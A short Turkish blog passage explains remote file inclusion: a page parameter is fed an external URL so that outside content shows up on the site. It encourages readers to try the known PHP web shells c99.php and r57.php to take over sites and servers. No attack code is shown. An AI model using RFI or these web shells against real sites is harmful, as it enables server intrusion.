page parametresi LFI saldırısında hedef web sitesinin sunucularında barınan bir dosyanın dizin adresini alıyorken bu sefer harici bir link almıştır. Bu saldırı kodu tarayıcının adres çubuğuna girilip ENTER'landığında ekrana harici dosyanın içeriği yansıyacak ve sayfa hack'lendi süsü verilmiş olacaktır: 




NOT: RFI saldırısı ile eğer shell dosyası dahil edebilirseniz bu durumda gerçekten sayfayı ve hatta komple sunucuyu hack'leyebilirsiniz. Burada shell dosyalarının dahil edilmesinden bahsedilmemiştir. Çünkü shell dosyaları her nedense makinemde arzulanan şekilde çalışmamıştır. Denemek isteyenler php dünyasında yer etmiş c99.php ve r57.php shell dosyalarını kurcalayabilirler.


daha fazlası için buraya tıklayabilirsiniz

iyi çalışmalar

// Copyright © WELCOME Se☪uЯity Candidate //Anime-Note//Powered by Blogger // Designed by Johanes Djogan //